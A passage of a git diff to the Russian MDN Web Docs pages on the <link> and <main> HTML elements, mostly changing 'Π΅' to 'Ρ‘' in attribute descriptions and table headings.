+ <li>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ <a href="/en-US/docs/Web/CSS/Media_queries">CSS3 Media Queries</a>, ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Ρ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ ссылку; Π½Π΅ Π·Π°Π±ΡƒΠ΄ΡŒΡ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ€Π΅Π·Π΅Ρ€Π²Π½Ρ‹Π΅ ссылки, ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹Π΅ Π½Π°Π±ΠΎΡ€ΠΎΠΌ ΠΌΠ΅Π΄ΠΈΠ°Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π² HTML 4.</li>
</ul>
</div>
</dd>
@@ -109,11 +109,11 @@ original_slug: Web/HTML/Element/ссылка
<li><code>no-referrer-when-downgrade</code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Referer")}} Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π΅ ΠΊ источнику Π±Π΅Π· TLS (HTTPS). Π­Ρ‚ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π°Π³Π΅Π½Ρ‚Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ссли Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ ΠΈΠ½ΠΎΠ΅.</li>
<li><code>origin</code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ρ€Π΅Ρ„Π΅Ρ€Π΅Ρ€ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚ источник, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ соотвСтствуСт схСмС, хосту ΠΈ ΠΏΠΎΡ€Ρ‚Ρƒ.</li>
<li><code>origin-when-cross-origin</code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ навигация ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠΌ источникам Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π° схСмой, хостом, ΠΏΠΎΡ€Ρ‚ΠΎΠΌ, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ навигация ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅ источнику Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΏΡƒΡ‚ΡŒ Ρ€Π΅Ρ„Π΅Ρ€Π΅Ρ€ .</li>
- <li><code>unsafe-url</code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π² качСствС источника ссылки Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ источник ΠΈ ΠΏΡƒΡ‚ΡŒ (Π½ΠΎ Π½Π΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚, ΠΏΠ°Ρ€ΠΎΠ»ΡŒ ΠΈΠ»ΠΈ имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ). Π­Ρ‚ΠΎΡ‚ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ нСбСзопасСн, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΏΠΎΡΠΎΠ±ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΡ‚Π΅Ρ‡ΠΊΠΈ источников ΠΈ ΠΏΡƒΡ‚Π΅ΠΉ ΠΈΠ· TLS-Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½Ρ‹Ρ… рСсурсов Π² Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½Ρ‹Π΅ источники.</li>
+ <li><code>unsafe-url</code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π² качСствС источника ссылки Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ источник ΠΈ ΠΏΡƒΡ‚ΡŒ (Π½ΠΎ Π½Π΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚, ΠΏΠ°Ρ€ΠΎΠ»ΡŒ ΠΈΠ»ΠΈ имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ). Π­Ρ‚ΠΎΡ‚ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ нСбСзопасСн, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΏΠΎΡΠΎΠ±ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΡ‚Π΅Ρ‡ΠΊΠΈ источников ΠΈ ΠΏΡƒΡ‚Π΅ΠΉ ΠΈΠ· TLS-Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹Ρ… рСсурсов Π² Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹Π΅ источники.</li>
</ul>
</dd>
<dt>{{HTMLAttrDef("rel")}}</dt>
- <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ связываСмого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Атрибут Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ списком <a href="/en-US/docs/Web/HTML/Link_types">Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Ρ‚ΠΈΠΏΠΎΠ² ссылки</a>.</dd>
+ <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ связываСмого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Атрибут Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ списком <a href="/en-US/docs/Web/HTML/Link_types">Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Ρ‚ΠΈΠΏΠΎΠ² ссылки</a>.</dd>
<dt>{{HTMLAttrDef("sizes")}}</dt>
<dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΈΠΊΠΎΠ½ΠΊΠΈ для Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠ΅Π΄ΠΈΠ°, содСрТащихся Π² рСсурсС. Он Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ прСдставлСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ, Ссли {{HTMLAttrxRef("rel", "link")}} содСрТит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>icon</code> ΠΈΠ»ΠΈ нСстандартный Ρ‚ΠΈΠΏ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>apple-touch-icon</code> Apple. ΠœΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ значСния:
<ul>
@@ -152,7 +152,7 @@ original_slug: Web/HTML/Element/ссылка
<dl>
<dt>{{HTMLAttrDef("charset")}} {{Obsolete_Inline}}</dt>
- <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ символов связываСмого рСсурса. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ прСдставляСт собой список Π½Π°Π±ΠΎΡ€ΠΎΠ² символов, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ ΠΈ/ΠΈΠ»ΠΈ запятыми, ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π²Β  {{rfc(2045)}}. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <code>iso-8859-1</code>.
+ <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ символов связываСмого рСсурса. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ прСдставляСт собой список Π½Π°Π±ΠΎΡ€ΠΎΠ² символов, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ ΠΈ/ΠΈΠ»ΠΈ запятыми, ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π²Β  {{rfc(2045)}}. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <code>iso-8859-1</code>.
<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ ΠΏΠΎ использованию:</strong> Для получСния эффСкта использования Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ΅Π³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Content-Type")}} Π½Π° связываСмый рСсурс.</div>
</dd>
<dt>{{HTMLAttrDef("rev")}} {{Obsolete_Inline}}</dt>
@@ -160,7 +160,7 @@ original_slug: Web/HTML/Element/ссылка
<p><span lang="ru">Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΊ связываСмому Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ, ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ</span> {{HTMLAttrxRef("href", "link")}}. <span lang="ru">Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, опрСдСляСт ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ связь ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° </span><code>rel</code><span lang="ru">. </span><a href="/en-US/docs/Web/HTML/Link_types">ЗначСния Ρ‚ΠΈΠΏΠΎΠ² ссылки </a><span lang="ru">для Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ значСниям для</span>Β Β  {{HTMLAttrxRef("rel", "link")}}.</p>
<div class="blockIndicator note">
- <p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ считаСтся ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌ ΠΆΠΈΠ·Π½Π΅Π½Π½Ρ‹ΠΌ стандартом WHATWG HTML (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΊΠ°Π½ΠΎΠ½ΠΈΡ‡Π½ΠΎΠΉ спСцификациСй MDN). Однако, стоит ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ <code>rev</code> <em>Π½Π΅</em> считаСтся ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌ Π² спСцификации W3C. Π‘Ρ‚ΠΎΠΈΡ‚ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, учитывая Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΡΡ‚ΡŒ, ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π½Π° <code>rev</code> Π½Π΅ стоит.</p>
+ <p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ считаСтся ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌ ΠΆΠΈΠ·Π½Π΅Π½Π½Ρ‹ΠΌ стандартом WHATWG HTML (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΊΠ°Π½ΠΎΠ½ΠΈΡ‡Π½ΠΎΠΉ спСцификациСй MDN). Однако, стоит ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ <code>rev</code> <em>Π½Π΅</em> считаСтся ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌ Π² спСцификации W3C. Π‘Ρ‚ΠΎΠΈΡ‚ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, учитывая Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΡΡ‚ΡŒ, ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π½Π° <code>rev</code> Π½Π΅ стоит.</p>
</div>
</dd>
<dd>
@@ -187,7 +187,7 @@ original_slug: Web/HTML/Element/ссылка
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ <a href="/en-US/docs/Web/CSS/Alternative_style_sheets">Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй</a>.</p>
-<p>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΡƒΡŽ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Π²Ρ‹Π±Ρ€Π°Π² Π΅Π΅ Π² мСню  Π’ΠΈΠ΄ &gt; Π‘Ρ‚ΠΈΠ»ΡŒ страницы. Π­Ρ‚ΠΎ позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠ²Π΅Ρ€ΡΠΈΡŽ страницы.</p>
+<p>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΡƒΡŽ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Π²Ρ‹Π±Ρ€Π°Π² Π΅Ρ‘ Π² мСню  Π’ΠΈΠ΄ &gt; Π‘Ρ‚ΠΈΠ»ΡŒ страницы. Π­Ρ‚ΠΎ позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠ²Π΅Ρ€ΡΠΈΡŽ страницы.</p>
<pre class="brush: html no-line-numbers notranslate">&lt;link href="default.css" rel="stylesheet" title="Default Style"&gt;
&lt;link href="fancy.css" rel="alternate stylesheet" title="Fancy"&gt;
@@ -255,7 +255,7 @@ myStylesheet.onerror = function() {
<td>ΠšΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Ρ…. Если Π΅ΡΡ‚ΡŒ <a href="/en-US/docs/Web/HTML/Global_attributes/itemprop">itemprop</a>: <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a> ΠΈ <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
+ <th>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
<td>НСт, это {{Glossary("empty element")}}.</td>
</tr>
<tr>
@@ -263,11 +263,11 @@ myStylesheet.onerror = function() {
<td>Π’Π°ΠΊ ΠΊΠ°ΠΊ это пустой элСмСнт, ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ тэг, ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ - отсутствуСт.</td>
</tr>
<tr>
- <th>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
+ <th>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‰ΠΈΠΉ элСмСнты ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Ρ…. Если Π΅ΡΡ‚ΡŒ <a href="/en-US/docs/Web/HTML/Global_attributes/itemprop">itemprop</a>: любой элСмСнт, ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‰ΠΈΠΉ <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
<td>НСт</td>
</tr>
<tr>
diff --git a/files/ru/web/html/element/main/index.html b/files/ru/web/html/element/main/index.html
index e3b64bf33d..52754d8c16 100644
--- a/files/ru/web/html/element/main/index.html
+++ b/files/ru/web/html/element/main/index.html
@@ -13,7 +13,7 @@ translation_of: Web/HTML/Element/main
---
<div>{{HTMLRef}}</div>
-<p><span class="seoSummary"><strong>HTML-элСмСнт <code>&lt;main&gt;</code></strong> ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для основного ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° (содСрТимого) {{HTMLElement("body")}} Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° (страницы). Основной ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ состоит ΠΈΠ· ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ нСпосрСдствСнно относится ΠΊ Π³Π»Π°Π²Π½ΠΎΠΉ Ρ‚Π΅ΠΌΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈΠ»ΠΈ Π΅Π΅ Ρ€Π°Π·Π²ΠΈΠ²Π°Π΅Ρ‚.</span></p>
+<p><span class="seoSummary"><strong>HTML-элСмСнт <code>&lt;main&gt;</code></strong> ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для основного ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° (содСрТимого) {{HTMLElement("body")}} Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° (страницы). Основной ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ состоит ΠΈΠ· ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ нСпосрСдствСнно относится ΠΊ Π³Π»Π°Π²Π½ΠΎΠΉ Ρ‚Π΅ΠΌΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈΠ»ΠΈ Π΅Ρ‘ Ρ€Π°Π·Π²ΠΈΠ²Π°Π΅Ρ‚.</span></p>
<div>{{EmbedInteractiveExample("pages/tabbed/main.html","tabbed-shorter")}}</div>
@@ -28,7 +28,7 @@ translation_of: Web/HTML/Element/main
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">Основной ΠΏΠΎΡ‚ΠΎΠΊ</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Π―Π²Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">Основной ΠΏΠΎΡ‚ΠΎΠΊ</a>.</td>
</tr>
<tr>
@@ -36,11 +36,11 @@ translation_of: Web/HTML/Element/main
<td>Ни ΠΎΠ΄Π½ΠΎΠ³ΠΎ; Оба Ρ‚Π΅Π³Π°, ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ.</td>
</tr>
<tr>
- <th>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td>Π’Π΅, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ΡΡ <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ основного ΠΏΠΎΡ‚ΠΎΠΊΠ°</a> Π² качСствС содСрТимого, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли это <a href="https://html.spec.whatwg.org/multipage/grouping-content.html#hierarchically-correct-main-element" id="the-main-element:hierarchically-correct-main-element">иСрархичСски ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΉ <code>main</code> элСмСнт</a>.</td>
</tr>
<tr>
- <th>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
+ <th>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
<td>Роль <code>main</code> примСняСтся ΠΊ <code>&lt;main&gt;</code> ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΈ Ρ€ΠΎΠ»ΡŒ <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_presentation_role">presentation</a></code> Ρ‚Π°ΠΊΠΆΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π°.</td>
</tr>
<tr>
@@ -70,14 +70,14 @@ translation_of: Web/HTML/Element/main
&lt;article&gt;
&lt;h2&gt;Π‘ΠΎΡ€Ρ‚ "Π Π΅Π΄ Π”Π΅Π»ΠΈΡˆΠ΅Ρ"&lt;/h2&gt;
- &lt;p&gt;Π­Ρ‚ΠΈ ярко-красныС яблоки ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ΄Π½ΠΈΠΌΠΈ ΠΈΠ· самых популярных Π² Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½Π½Ρ‹Ρ… Π¨Ρ‚Π°Ρ‚Π°Ρ….&lt;/p&gt;
+ &lt;p&gt;Π­Ρ‚ΠΈ ярко-красныС яблоки ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ΄Π½ΠΈΠΌΠΈ ΠΈΠ· самых популярных Π² Π‘ΠΎΠ΅Π΄ΠΈΠ½Ρ‘Π½Π½Ρ‹Ρ… Π¨Ρ‚Π°Ρ‚Π°Ρ….&lt;/p&gt;
&lt;p&gt;... &lt;/p&gt;
&lt;p&gt;... &lt;/p&gt;
&lt;/article&gt;
